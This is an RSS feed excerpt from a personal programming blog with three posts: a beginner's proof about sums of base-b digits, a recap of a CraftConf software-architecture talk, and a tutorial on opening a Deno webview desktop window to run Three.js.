the kind of work we are going to be doing. We are going to be doing proofs...]]></description><link>https://blog.jrlgs.dev/reasoning-with-numbers</link><guid isPermaLink="true">https://blog.jrlgs.dev/reasoning-with-numbers</guid><category><![CDATA[algorithms]]></category><category><![CDATA[data structures]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Mathematics]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Sat, 16 Jul 2022 15:08:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1657983675204/jVUcjrG--.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I want to offer a course about algorithms. Somewhat rigorous, but at the same
time accessible.</p>
<p>But we need to start with some basics first. We will start by getting a taste of
the kind of <em>work</em> we are going to be doing. We are going to be doing <em>proofs</em>
about the behavior of algorithms.</p>
<p>In this post I will show you a mathematical proof about numbers.</p>
<blockquote>
<p>As with every other post in my blog, I am learning this. So I am writing a course for myself. But I always try to make it accessible to others :D</p>
</blockquote>
<h2 id="heading-reasoning-with-numbers">Reasoning with numbers</h2>
<p>Lets start with an interesting observation:</p>
<p><strong>Observation:</strong> the sum of any three digits is at most two digits long.</p>
<p>In base 10 we can check this easily by noting that \(9+9+9 = 27\). Yet we would
like to make a more general claim.</p>
<p><strong>Lemma 1:</strong> For any integer base \(b \geq 2\), the sum of any three digits is at
most two digits long.</p>
<blockquote>
<p>A lemma is a claim that we need to prove using mathematical reasoning alone. No
"empirical evidence" allowed!</p>
</blockquote>
<p>Before offering the proof, lets take a moment to reason through what we are even
asking!</p>
<p>The way to proceed can be to find out what is the biggest number we can
represent with a single base \(b\) digit. Think for example, base 10, where \(9 =
10^1 - 1\). In base 2, we have that \(1 = 2^1-1\). In base 16 (hexadecimal), \(15 =
\text{F} = 16^1 - 1\). And so on. Can you see it?</p>
<blockquote>
<p>Indeed we should prove this second claim. But it is straightforward enough
that we can convince ourselves that it is valid.</p>
<ul>
<li>Hint: can you provide an argument to claim that if this is true for \(b=n\)
then it must also true for \(b=n+1\). Can you then show that it must be true
for \(b = 2\)? What would that argument imply?</li>
</ul>
</blockquote>
<p>Then consider the number \(b^1-1\) which must be the biggest one-digit base \(b\)
number. Thus we need to ask, how many digits does \(3(b^1-1)\) has? Now we have
enough to attempt a proof.</p>
<p><strong>Proof:</strong> First note that as \(b^1-1 &gt; 0\), then \(3(b^1-1)\) must be bigger than
\(b^1-1\). If that is the case, then it must also be at least two-digits long,
because \(b^1-1\) is the biggest one-digit base \(b\) number!</p>
<p>Second, consider the biggest two-digit base \(b\) number. It must be
\((b^2-b^1)+(b^1-1)=b^2-1\).</p>
<p>To help see it, consider the concrete example for base 10.</p>
<p>$$99 = (10^2 - 10) + (10 - 1) =(100-1)=90 + 9 $$</p>
<p>But we can show that:</p>
<p>$$ 3(b-1) \leq b^2-1 $$</p>
<p>If you are not convinced, try checking the inequality for \(b = 2, 3, 4, ...\)</p>
<blockquote>
<p>Before continuing, can you offer a resoning why this should be true?</p>
<ul>
<li>Hint 1: \(b-1\geq1\)</li>
<li>Hint 2: what is \(\frac{b^2-1}{b-1}\) ?</li>
</ul>
</blockquote>
<p>We can reason as follows:</p>
<p>$$
\frac{b^2-1}{b-1} = \frac{(b+1)(b-1)}{b-1} = b + 1 
$$</p>
<p>But if \(b\geq2\), then  \(3 \leq b+1\) and we can reverse the previous reasoning to end up with:</p>
<p>$$
\begin{align}
3 &amp;\leq b+1 \\
3(b-1) &amp;\leq (b+1)(b-1) \\
3(b-1) &amp;\leq b^2-1 \\
\end{align}
$$</p>
<p>Therefore, by our first statement above \(3(b^1-1)\) must be at least two-digits
long. As it is larger than the largest one-digit base \(b\) number. But by the
second statement, it cannot be three or more digits long. As it is smaller or equal than
the biggest possible two-digit base \(b\) number.</p>
<p>But \(3(b^1-a)\) is the biggest possible number we can have by adding three
one-digit number. And it must be two-digits long at most. So there is no other
such number that could be more than two digits long.</p>
<p>We must conclude that <em>any</em> sum of three one-digit numbers base \(b \geq 2\) must
be <em>at most</em> two digits long. This completes our proof.</p>
<blockquote>
<p>Can you see why I said \(b \geq 2\)?</p>
<ul>
<li>Hint: Check the second exercise problem above :D</li>
</ul>
</blockquote>
<h3 id="heading-wow-that-was-dense">Wow. That was dense.</h3>
<p>We can be a little bit more terse when writing proofs, without loosing rigor. As
long as we are confident the reader (i.e you from the future) will be able to fill in the blanks.</p>
<p><strong>Terse proof</strong>: Let \(A = 3(b-1)\) where \(b-1\) is the biggest one-digit base \(b\)
number. And \(B = b^2-1\), with \(B\) being the largest
two-digit base \(b\) number. Then, \(A \leq B\). But as \(B\) is two-digits long,
\(A\) can only have at most two digits. This completes the proof.</p>
<p>The point is that, you can (and perhaps should) write a reasoning as detailed as
you need, to understand it completely. Some proofs are simple enough that we can
skip them. Some will need a more elaborate reasoning.</p>
<p>I will take this approach on this posts :D</p>
<p><strong>Try it yourself!:</strong> Show that the sum of any two base \(b \geq 2\) one digit
numbers has at most two digits. Is that true? Why?</p>
<blockquote>
<p>Hint: the reasoning is almost exactly the same. Think, for example that 9 + 9
= 18? Can you generalize this?</p>
<p>Try writing a proof in the comments :D</p>
</blockquote>
<h2 id="heading-about-this-posts">About this posts</h2>
<p>This series is about algorithms and, to a lesser extent, data structures. If you
want to follow along, however, please note that I am not aiming this at complete
beginners.</p>
<p>I will foolishly assume you are at least familiar with:</p>
<ul>
<li>Basic data structures like arrays, lists, trees and hash tables.</li>
<li>Big O notation. You know what "linear time" means.</li>
<li>You are at least willing to follow through some mathematical proofs.</li>
</ul>
<p>That being said. I always try to keep my writing as accessible as possible :D</p>
<p>This are basically my notes from taking the <a target="_blank" href="https://omscs.gatech.edu/cs-6515-intro-graduate-algorithms">"Intro to graduate algorithms" class
from Georgia tech</a>. Which is freely available online (I am not enrolled).</p>
<blockquote>
<p>As you can probably imagine from the name, it is a graduate-level course. I
will be following closely the book used. "Algorithms" by Dasgupta,
Papadimitriou &amp; Vazirani (2006).</p>
</blockquote>
<hr />
<p>* Please note that "we can convince ourselves", "as you should verify" and other
such comments are code for "you should write the proof yourself in a piece of
paper. I'm too lazy to do it myself!""</p>
<h2 id="heading-epilogue">Epilogue</h2>
<p>Hopefully that was interesting and my writing was simple enough. If you want to
follow along, I encourage you to go through the reasoning with pen and paper :D</p>
<p>I am uploading these on a GitHub repo that you can check here: <a target="_blank" href="https://github.com/JorchRL/Algorithms-series">Algorithms-series</a>. </p>
<p>I would appreciate any feedback (specially if I am wrong!!!). I am not an
expert. I am learning, just like you!</p>
<p>If you wanna talk with me you should follow me on twitter:
<a target="_blank" href="https://twitter.com/jrlgs">@jrlgs</a></p>
]]></content:encoded></item><item><title><![CDATA[I attended CraftConf and learned about software architecture!]]></title><description><![CDATA[Preface: a noobs guide to learning from the pros
I was invited to attend the Craft Conference 2022 by my friend Miki Szeles. 
There's a small problem though, I'm a noob. How am I supposed to learn from talks where they use words I'm scared about?
Wel...]]></description><link>https://blog.jrlgs.dev/i-attended-craftconf-and-learned-about-software-architecture</link><guid isPermaLink="true">https://blog.jrlgs.dev/i-attended-craftconf-and-learned-about-software-architecture</guid><category><![CDATA[conference]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[learning]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Wed, 06 Jul 2022 20:40:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1657139944070/p3AcVwlf5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-preface-a-noobs-guide-to-learning-from-the-pros">Preface: a noobs guide to learning from the pros</h2>
<p>I was invited to attend the Craft Conference 2022 by my friend Miki Szeles. </p>
<p>There's a small problem though, I'm a noob. How am I supposed to learn from talks where they use words I'm scared about?</p>
<p>Well, I did learn, a lot. Let me share a bit of how I approached the different talks.  So if you are a noob, you can feel encouraged and less intimidated to attend.</p>
<p><strong>The secret is approaching the talks with a slightly different mindset!</strong></p>
<p>You know, these talks can be seen as "pro tips for the pro", which is fine... for the pros. </p>
<p>However, my fellow noob. You have a different goal. </p>
<p><strong>Your goal is to get the big picture. Not the details-oriented pro tips</strong></p>
<p>You are being exposed to advanced topics that probably mean nothing to you. So making an effort of understanding and elaborate on this big-picture can make wonders for your own understanding!</p>
<p>So this post is an example of just that. Hopefully, it also helps show the value of attending these conferences.</p>
<h2 id="heading-the-next-level-of-architectural-design">The <em>next level of architectural design</em></h2>
<p>As one of my current interests is software architecture. And it is a topic I am trying to make sense of in my mind, the talk "Squaring the circle: Mastering the next level of architectural design" by <a target="_blank" href="https://twitter.com/ufried">Uwe Friedsrichsen</a> immediately caught my eye when I first looked at the program schedule. </p>
<p>That sounded like the kind of talk a beginner like me could learn a lot about. It seems general enough and "advanced" at the same time. </p>
<p>Let me share a small summary of the main points. But I will not write a detailed "recap" of the talk.</p>
<p>Instead, I will direct you to <a target="_blank" href="https://www.ufried.com/blog/">the author's blog</a> and a to <a target="_blank" href="https://speakerdeck.com/ufried/squaring-the-circle-mastering-the-next-level-of-architectural-design-4c302cdd-ef95-4dba-999f-1717beaba028?slide=3">the slides he used in his presentation</a>. Which he kindly made available. </p>
<blockquote>
<p>Btw, in his blog there is a small series of posts titled "why we need resilient software" which is an absolutely fantastic read!</p>
</blockquote>
<h2 id="heading-a-quick-history-lesson">A quick history lesson</h2>
<p>The talk contrasts how software architecture has changed over the past 3 decades or so. And how the requirements of modern distributed systems affect the way we can (or maybe should) think about software architecture.</p>
<blockquote>
<p>Yes, even if you are agile!</p>
</blockquote>
<p>The talk starts by summarizing architectural work until around 2008. The "good ol' times" as he calls it. Mostly monolithic systems with server-side rendered webpages. On-premises data centers. Few external systems. You get the idea.</p>
<blockquote>
<p>Contrast that with the whole microservices <em>ethos</em>.</p>
</blockquote>
<p>With this approach, architecture is at the beginning and center of software creation. It is a design solution to satisfy explicit pre-defined project needs. There's also a focus on <em>layered</em> architecture. </p>
<p>The problem is that some things like integration, security, scaling and even performance are left as "2nd class citizens" and for others to deal with.</p>
<blockquote>
<p>Well... Think about that. How would massive websites like Twitter keep from imploding if they were created like that!</p>
</blockquote>
<h2 id="heading-the-age-of-confusion">The age of confusion</h2>
<p>This encompasses between 2008 and 2015. When the software world went <em>Agile</em>. A very important aspect of this movement was a cultural countermovement against the "architecture-centric" approaches of the past. </p>
<blockquote>
<p>And if you are a beginner, most of the "MERN" tutorials you may watch are probably still encroached somewhere around here. Keep reading!</p>
</blockquote>
<p>The basic idea is: to start building and figure out the architecture along the way. As you gain an understanding of the system you are building. Iterate a lot. Architecture <em>emerges</em>; developers are <em>the</em> architects.</p>
<h2 id="heading-the-present">The present</h2>
<p>That is not to say that neither "waterfall" nor "agile" approaches are dead, nor that they are now worthless. But as the needs of modern software change and the software itself becomes more complex, they have become tools for a broader approach.</p>
<blockquote>
<p>At least that's how I understand them.</p>
</blockquote>
<p>Tools that whoever takes the role of "the one in charge of the architectural decisions" should choose to use or not, depending on the particular problem at hand. That is, even in agile teams there must be some architectural concerns and decision-making. </p>
<p>Software now needs to run fast, run everywhere, and on a variety of network and hardware conditions. And it should be able to scale on-demand to handle usage spikes and be gracefully resilient to the failure of some of its components. </p>
<p>It may also need to deal with massive amounts of data. For example, with applications that involve AI/ML. So you may also need a system that can interoperate between multiple data sources and different environments which consume and process that data.</p>
<p>You also need to consider mobile apps. They involve new interaction patterns, new kinds of devices, less reliable connectivity, and unpredictable load patterns. You may even need to deal with IoT devices. Whose performance may be safety-critical, like autonomous vehicles and medical instruments.</p>
<p>All of that is on top of these systems being distributed and often expected to work near-realtime, 24/7.</p>
<h2 id="heading-some-thoughts-on-why">Some thoughts on <em>why</em></h2>
<p>Here are some of the ideas I gather from the whole talk. </p>
<p>While it is probably true architecture "emerges", it has become way too critical to be left implicit. </p>
<p>Finally, it should be mentioned that the "Digital transformation" of business entails that IT and business are "blending" together. IT is now an integral part of almost any business, or the business itself. IT is an integral part of customer interactions. Many business models consist entirely of IT systems (just think about the website you are reading this on. Or the platform where I watched this online talk). </p>
<p>And people trust these systems with their private data. And sometimes with their life!</p>
<p>For example, cloud services can be very costly if mismanaged. Personal data can leak if not secured adequately. People can even die if autonomous vehicles misbehave. Dangerous ideas and misinformation can spread on social media. Or vulnerable groups can be affected by AI fed with biased data sets.</p>
<blockquote>
<p>Thus, the way software is built cannot be trivialized. Or rather it should not.</p>
</blockquote>
<p>And there are still other considerations. </p>
<p>Like the emergence of "post-industrial" markets, where the main products are services or 'knowledge work'. Supply often exceeds demand, yielding <em>customer-driven</em> markets. Thus fast adoption and adaptability to very fast-changing markets are critical for a business's success. An IT business simply cannot afford to have a system that may eventually become too complicated to change. A full rewrite may as well be a death sentence.</p>
<p>Along this, there is the problem of exploding complexity. </p>
<p>Yet another concern is ecological sustainability. Which every year is becoming more and more of a concern. It is a counterforce to every other concern. And should become a '1st class citizen' of system design and architecture.</p>
<h2 id="heading-epilogue">Epilogue</h2>
<p>That covers about half of the talk! So make sure you go and check it out! Either the talk on YouTube or the slides I linked above. </p>
<p>The rest of the talk and slides cover the speaker's own ideas, about still open problems and some discussion about how we should see "architecture" today. </p>
<p>In this post, I had three goals</p>
<ul>
<li>Give back a little to both Miki and Craft Conf for their generosity in inviting me to attend the conference online!</li>
<li>Show you how, as a beginner, you can benefit greatly from attending.</li>
<li>Elaborate on my own knowledge of the "big picture" of software architecture.</li>
</ul>
<p>Hopefully, you found this insightful on at least one of those three aspects :D</p>
<p>...</p>
<p>Just as a shameless plug. I am mostly active on Twitter <a target="_blank" href="https://twitter.com/jrlgs">@jrlgs</a>, so you may want to talk to me there! I'm always happy to talk to new people. And I would appreciate you sharing these posts and giving a shoutout to both <a target="_blank" href="https://twitter.com/mszeles">@mszeles</a> and <a target="_blank" href="https://twitter.com/CraftConf">CraftConf</a>, as well as the speaker, <a target="_blank" href="https://twitter.com/ufried">@ufried</a>.</p>
]]></content:encoded></item><item><title><![CDATA[Toying with Deno. Making a ... Game Engine?]]></title><description><![CDATA[Let's build a desktop app with Deno. Yes. A desktop app. No Electron.
Actually, let's make it harder on ourselves! Let's make a 3D desktop app!
Will it be a GOOD desktop app? 
Of course not! Whose blog do you think you are reading! 
But hopefully, it...]]></description><link>https://blog.jrlgs.dev/toying-with-deno-making-a-game-engine</link><guid isPermaLink="true">https://blog.jrlgs.dev/toying-with-deno-making-a-game-engine</guid><category><![CDATA[Deno]]></category><category><![CDATA[Game Development]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Sun, 12 Jun 2022 17:56:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1655056519821/KAZoAvH9K.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Let's build a desktop app with Deno. Yes. A desktop app. No Electron.</p>
<p>Actually, let's make it harder on ourselves! Let's make a 3D desktop app!</p>
<p>Will it be a GOOD desktop app? </p>
<p><strong>Of course not! Whose blog do you think you are reading! </strong></p>
<p>But hopefully, it is fun! That's what really matters.</p>
<blockquote>
<p>This post may also serve as a brief introduction to Deno!</p>
</blockquote>
<h2 id="heading-wait-deno-why-just-use-node-bro">Wait. Deno? Why? Just use Node bro!</h2>
<blockquote>
<p>If you are not interested in this part, feel free to skip ahead to the "What are we building?" section! :D</p>
</blockquote>
<p>The simplest and most convenient aspect of Deno for me is that you can <em>just use</em> typescript. Which is really nice. I would rather use typescript for the sole reason that it provides better autocomplete. That's a big deal for me. Otherwise, JavaScript would do just fine.</p>
<blockquote>
<p>TypeScript has its ugly aspects. But nice autocomplete is a BIG deal for me. I just want to make it clear. That's my main argument in favor of TypeScript :D</p>
</blockquote>
<p>But there are other reasons why I want to use Deno. </p>
<p>The most straightforward is that "reinventing the wheel" is often an extremely rewarding learning experience. Well worth it if you are up to it. So I'll recreate as much as I can. </p>
<p>Finally, there are some very particular features of Deno I want to play around with. In the future!</p>
<hr />
<p>But... in case you are not convinced. I'll include the comparison between Deno and Node offered by the Deno official Manual.</p>
<blockquote>
<p>Actually, I am not trying to convince you to ditch Node. I'm just explaining why I want to try Deno.</p>
</blockquote>
<p>:D </p>
<h3 id="heading-packages">Packages</h3>
<p>Deno does not use <code>npm</code>. Instead, you reference modules by their URL. From anywhere on the internet!  As in the following: </p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> * <span class="hljs-keyword">as</span> log <span class="hljs-keyword">from</span> <span class="hljs-string">"https://deno.land/std@0.142.0/log/mod.ts"</span>;
</code></pre>
<blockquote>
<p>One of the ways I'm using this is that I forked one of the libraries I am relying on. To enable a critical feature. Then I am just importing from my own GitHub repo. How neat is that!</p>
</blockquote>
<p>Note also that it uses ES Modules by default. No support for <code>require()</code></p>
<p>It doesn't use package.json for module resolution. But you can "lock" dependencies in other ways, so don't worry! There is also no <code>node_modules</code>. Instead, modules are downloaded the first time they are imported. And cached for subsequent uses, across projects! </p>
<p>And they are intended to be immutable. And cacheable. So you only need internet access the first time they run. Unless you explicitly tell Deno to <code>--reload</code></p>
<h3 id="heading-runtime">Runtime</h3>
<p>All async actions return a promise. Which you know, duh! </p>
<p>So its APIs may be a bit different from Node's, which can be a mixed bag (mainly because Node is older). There is also top-level await by default. </p>
<p>There are also some security considerations. Deno will require explicit permissions for accessing files, network, and env. It is "secure by default". Deno will always die on uncaught errors.</p>
<p>It aims to be browser-compatible. Any program which does not use the <code>Deno</code> namespace should run just fine in the browser!</p>
<blockquote>
<p>Take that with a healthy dose of skepticism, though. You will break things. Ask me how I know!</p>
</blockquote>
<p>Deno also implements some WebAPIs when it makes sense. Like <code>fetch</code>, <code>DOM</code>, <code>WebStorage</code>, etc. To avoid proprietary APIs if possible.</p>
<blockquote>
<p>Again, you will run into problems if you just assume everything will just work. Deno is not perfectly "isomorphic". </p>
</blockquote>
<p>It supports browser-compatible lifycycle <code>load</code> and <code>unload</code> events: </p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> loadHandler = (e: Event): <span class="hljs-function"><span class="hljs-params">void</span> =&gt;</span> {
    <span class="hljs-comment">// ... do stuff</span>
}

<span class="hljs-keyword">const</span> unLoadHandler = (e: Event): <span class="hljs-function"><span class="hljs-params">void</span> =&gt;</span> {
    <span class="hljs-comment">// ... do stuff</span>
}

globalThis.addEventListener(<span class="hljs-string">"load"</span>, loadHandler);
globalThis.addEventListener(<span class="hljs-string">"unload"</span>, unLoadHandler)
</code></pre>
<p>Deno also has a built-in test runner at <code>Deno.test</code> and an assertions module on the standard library. You can also use Chai. </p>
<h3 id="heading-node-compatibility">Node compatibility</h3>
<p>This is one of the coolest things about Deno. You can run 
Node packages on it using the <code>--compat</code> flag to activate compatibility mode. With some caveats though, don't expect everything to work just fine. Also, you can't use TypeScript.</p>
<p>Here's an example.</p>
<pre><code class="lang-bash">$ npm install eslint
...

$ ls
.eslintrc.json
node_modules
package.json
test.js
test.ts

$ cat test.js
<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">foo</span></span>() {}

$ cat test.ts
<span class="hljs-keyword">function</span> bar(): any {}

$ deno run \
  --compat --unstable \
  --allow-read --allow-write=./ --allow-env \
  node_modules/eslint/bin/eslint.js test.js test.ts
</code></pre>
<blockquote>
<p>Btw, Deno has a built-in linter as well: <code>deno lint ./&lt;file&gt;.ts</code></p>
</blockquote>
<p>This solution won't quite work for what we will be doing. But we can also just import an <code>npm</code> module and <a target="_blank" href="https://deno.land/manual/node">in many cases it <em>may just work</em></a>. So that's also really nice.</p>
<blockquote>
<p>Spoilers: I'm gonna be importing Three.js from npm, and making it play nice with Deno.</p>
</blockquote>
<h3 id="heading-running-deno">Running Deno</h3>
<p>You can <a target="_blank" href="https://github.com/denoland/deno_install">install it</a> and run the <code>deno</code> command. </p>
<p>You can also use the official Docker image. As in this example:</p>
<pre><code class="lang-bash">$ docker run -it -p 1993:1993 -v <span class="hljs-variable">$PWD</span>:/app denoland/deno:1.22.2 run --allow-net /app/main.ts
</code></pre>
<blockquote>
<p>Just in case you are not familiar with Docker. <code>-p 1993:1993</code> will map the port 1993 of the container to that same port on the host. <code>-v $PWD:/app</code> will mount the working directory of the host to <code>/app</code> in the container (where the app should be). Finally, the <code>--allow-net</code> is a deno flag for setting permissions when running <code>/app/main.ts</code>.</p>
</blockquote>
<p>Finally, VSCode has a nice <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=denoland.vscode-deno">official extension for Deno</a>.</p>
<p>Once you have a folder for a project, you just run <code>deno run ./app.ts</code>  or something simliar, depending on how you name your files.</p>
<p>If you are using network access on <code>app.ts</code>, you will need to allow it explicitly:</p>
<pre><code class="lang-bash">$ deno run --allow-net ./app.ts
</code></pre>
<p>Check the docs for other <a target="_blank" href="https://deno.land/manual/getting_started/permissions">permissions available in deno</a></p>
<p>Btw, did I mention that you can compile your deno projects into a single executable!?</p>
<blockquote>
<p>Foreshadowing ;)</p>
</blockquote>
<h2 id="heading-what-are-we-building">What are we building?</h2>
<p>The rest of this post will be about building a desktop app that displays some 3D scene. The barebones necessary for a desktop game written in Deno. </p>
<p>You may be wondering why or how? </p>
<p>I found an interesting package while browsing the deno third-party modules library at <a target="_blank" href="https://deno.land/x">deno.land/x</a> that will allow me to run a window with a page loaded on <a target="_blank" href="https://webkit.org/">webkit</a>. In case you don't know, WebKit is the engine powering Apple's Safari. There is a GTK port from Gnome, which is the one we will be using.</p>
<h3 id="heading-webviewdeno">Webview_deno</h3>
<p><a target="_blank" href="https://deno.land/x/webview@0.7.0-pre.1">webview_deno</a> provides deno bindings for <a target="_blank" href="https://github.com/webview/webview">webview</a>, "a tiny cross-platform library to render web-based GUIs for desktop applications" which uses C++. </p>
<p>The goal of Webview is to create an HTML5 UI abstraction layer for desktop apps. So you can use whatever language you want as a "backend". In this case, Deno with TypeScript.</p>
<p>It uses Cocoa/Webkit on MacOS, gtk-webkit2 on Linux and Edge on Windows(10). <a target="_blank" href="https://webview.dev/">Check the docs</a> On Mac or Windows it should work with no further work. </p>
<p>As I am using Ubuntu, the docs say I need to install a dependency: </p>
<pre><code class="lang-bash">$ sudo apt install webkit2gtk-4.0
</code></pre>
<blockquote>
<p>However, if you are using Ubuntu jammy as I do, (or maybe another Linux distro) you can no longer install that dependency. Instead try <code>libwebkit2gtk-4.0</code>  or <code>libwebkit2gtk-4.0-dev</code>. <a target="_blank" href="https://launchpad.net/ubuntu/+source/webkit2gtk">Here's the reference</a>. But you may already have it if you are using Gnome as your desktop environment.</p>
<p>Or look up another version of webkitgtk for your distro...</p>
<p>Or just cry in a corner.... :(</p>
</blockquote>
<hr />
<p>Please note, that this way of doing things may not be the best. (I mean, you can just use Electron). But I want to use Deno specifically. I have some things in mind for which Deno is good but Node isn't!</p>
<p>Also, I will mention it again. I am purposefully "reinventing the wheel", in order to learn.</p>
<blockquote>
<p>However, if you are looking to make desktop apps with HTML5 UIs, but don't want to use Electron, give <a target="_blank" href="https://github.com/zserge/lorca">Lorca a try!</a> if you want to use Go. Instead of bundling Chrome, as Electron does, Lorca will use the one that is already installed! Another alternative may be <a target="_blank" href="https://tauri.studio/about/architecture">Tauri</a>. Another more Electron-like alternative could be <a target="_blank" href="https://neutralino.js.org/">Neutralino</a>. Or just use Electron. I think that is also a valid alternative!</p>
</blockquote>
<p>Ok. Now that you know what are we trying to achieve. There is a second package I want to use...</p>
<h3 id="heading-threejs">Three.js !!!</h3>
<p>Yup. I'm gonna use Three.js. Well, I'm gonna attempt to :D</p>
<p>It may be somewhat of a bold claim, but webkitgtk (the dependency the Linux version of webview uses) claims to <a target="_blank" href="https://webkitgtk.org/">fully support 3D HTML canvas (ie. WebGL)</a>. And I see no reason why either apple's WebKit or Edge would not support that.</p>
<p>So it seems <em>plausible</em> that it may work! Just making it run would make for a nice little portfolio project right?</p>
<blockquote>
<p>Spoilers, it does! ;)</p>
</blockquote>
<h3 id="heading-running-a-webview-window-on-the-desktop-with-deno">Running a Webview window on the desktop with Deno.</h3>
<p>Here is where we get hands-on. But before we begin, a disclaimer: </p>
<p><strong>Please keep in mind that this is not a step-by-step tutorial. I spent an obscene amount of time debugging and researching online. It would be a disservice on my part to make you think it is as straightforward as it seems on this post.</strong></p>
<p><strong>Please look at <a target="_blank" href="https://github.com/JorchRL/Desktop3D-with-Deno">the GitHub repo to see the full source code</a>. The following are mainly snippets to help you build a mental model of what I did. And maybe encourage you to try something like this!!! </strong></p>
<hr />
<p>Ok now, we can start! Let's run a Webview window from deno.</p>
<p>Doing this is pretty straightforward. First, create a new folder. I called mine <code>deno_gui</code>.</p>
<p>And import the <code>webview</code> dependency with the <a target="_blank" href="https://deno.land/manual/linking_to_external_code#it-seems-unwieldy-to-import-urls-everywhere">"deps.ts" pattern</a>:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// ./deps.ts</span>

<span class="hljs-keyword">export</span> {Webview} <span class="hljs-keyword">from</span> <span class="hljs-string">"https://deno.land/x/webview@0.7.0-pre.1/mod.ts"</span>
</code></pre>
<p>In Deno, it is a clean practice to put all your dependencies in a file like <code>deps.ts</code>. But you can just add them to any file that needs it. It will become a mess, though. So I'll use this <code>deps.ts</code> file for dependencies.</p>
<p>Then in a <code>main.ts</code> file we will write our program:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// main.ts</span>
<span class="hljs-keyword">import</span> { Webview } <span class="hljs-keyword">from</span> <span class="hljs-string">"./deps.ts"</span>

<span class="hljs-keyword">const</span> html = 

<span class="hljs-string">`
&lt;html&gt;
    &lt;body&gt;
        &lt;h1&gt;Hello world! I'm using Deno version: <span class="hljs-subst">${Deno.version.deno}</span>&lt;/h1&gt;
    &lt;/body&gt;
&lt;/html&gt;
`</span>

<span class="hljs-keyword">const</span> webview = <span class="hljs-keyword">new</span> Webview()

webview.navigate(<span class="hljs-string">`data:text/html,<span class="hljs-subst">${<span class="hljs-built_in">encodeURIComponent</span>(html)}</span>`</span>)
webview.run()
</code></pre>
<p>As you can see it's not that complicated. The <code>Webview</code> instance is the kernel of our program. We initialize it first. Then we "navigate" to the page defined inside the <code>html</code> variable. Finally, <code>webview.run()</code> opens the window when we run our program.</p>
<p>Go ahead and run it with:</p>
<pre><code class="lang-bash">$ deno run -A --unstable ./main.ts
</code></pre>
<p>Note that the <code>-A</code> flag is for "allow all" permissions. You may want to be careful with this on your own projects. And the <code>--unstable</code> flag will allow Deno's still unstable features. Again, you will want to be careful with this on your own projects. But for this one, we need those.</p>
<hr />
<h4 id="heading-reference-for-working-with-the-webview-library">Reference for working with the Webview library</h4>
<p>Before going any further, a quick detour! :D</p>
<p>Once we managed to run the window with an HTML page rendering correctly, we need to figure out how to update it from Deno. </p>
<p>The webview library has documentation available for its C++ bindings only at <a target="_blank" href="https://webview.dev/bindings/cpp/">webview.dev</a>as the rest are currently incomplete.</p>
<p>So we will have to use that. As well as <a target="_blank" href="https://deno.land/x/webview@0.7.0-pre.1">the source for the <code>webview_deno</code> bindings we are using</a>. Luckily the library itself is quite small and not too complicated! </p>
<p>So let's get into it! We already saw a bit of it. The entry point is the <code>Webview</code> class along with several instance methods.</p>
<p>You create a <code>Webview</code> instance. And use both <code>setSize()</code> and <code>setTitle()</code> to set the size and title of the window, respectively. Or use the class constructor to set those.</p>
<p>To open a window, you call the instance's <code>run()</code> method. You can use the <code>navigate()</code> method to navigate to a URL.</p>
<p>You can use the <code>bind()</code> method to attach a native callback that will appear as a global JavaScript function available to the page. And remove it with <code>unbind()</code>. You can use <code>resolve()</code> to get values back from the native binding. </p>
<p>The <code>init()</code> method injects JavaScript code to be used at the initialization of every page. It takes a string with the js code. It will run before the <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/load_event"><code>window.onload</code> event.</a></p>
<p><code>Webview.window()</code> will return a reference to the window. And <code>terminate()</code> will close it.</p>
<p>And that's pretty much it!</p>
<p>As you can see it wouldn't take much to build a barebones Electron for Deno! </p>
<blockquote>
<p>And I mean barebones! Don't get your hopes too high just yet :D</p>
</blockquote>
<hr />
<h3 id="heading-running-threejs-on-the-desktop-with-deno">Running Three.js on the desktop with Deno</h3>
<p>Now we need to achieve two things. First, manage to get Three.js playing nicely with this environment. And second, import it into the webkitgtk view and build a 3D scene inside it!</p>
<p>There seem to be two ways of achieving this. The first is to just import the three.js javascript library inside the HTML page and build our app inside the <code>&lt;script&gt;</code> tags. </p>
<p>Or the second is to build the app in Deno and export a js bundle. Which we could in turn import into the HTML page.</p>
<p>The second option would be ideal if we wanted to write a game engine in Deno for example. And I will end up doing that!  </p>
<p>But for now, the first option will suffice to show a running Three.js app on the desktop!</p>
<p>Lets refactor <code>main.ts</code> a bit to extract the HTML page into a <code>./dist</code> directory:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// main.ts</span>

<span class="hljs-keyword">import</span> { Webview, dirname, join} <span class="hljs-keyword">from</span> <span class="hljs-string">"./deps.ts"</span>

<span class="hljs-keyword">const</span> pageURL = join(dirname(<span class="hljs-keyword">import</span>.meta.url), <span class="hljs-string">"/dist/index.html"</span> )

<span class="hljs-keyword">const</span> webview = <span class="hljs-keyword">new</span> Webview()

webview.navigate(pageURL)

webview.run()
</code></pre>
<p>and add the new dependencies to <code>deps.ts</code></p>
<pre><code class="lang-typescript"><span class="hljs-comment">//deps.ts</span>
<span class="hljs-keyword">export</span> {Webview} <span class="hljs-keyword">from</span> <span class="hljs-string">"https://deno.land/x/webview@0.7.0-pre.1/mod.ts"</span>

<span class="hljs-keyword">export</span> {dirname, join} <span class="hljs-keyword">from</span> <span class="hljs-string">"https://deno.land/x/std/path/mod.ts"</span>
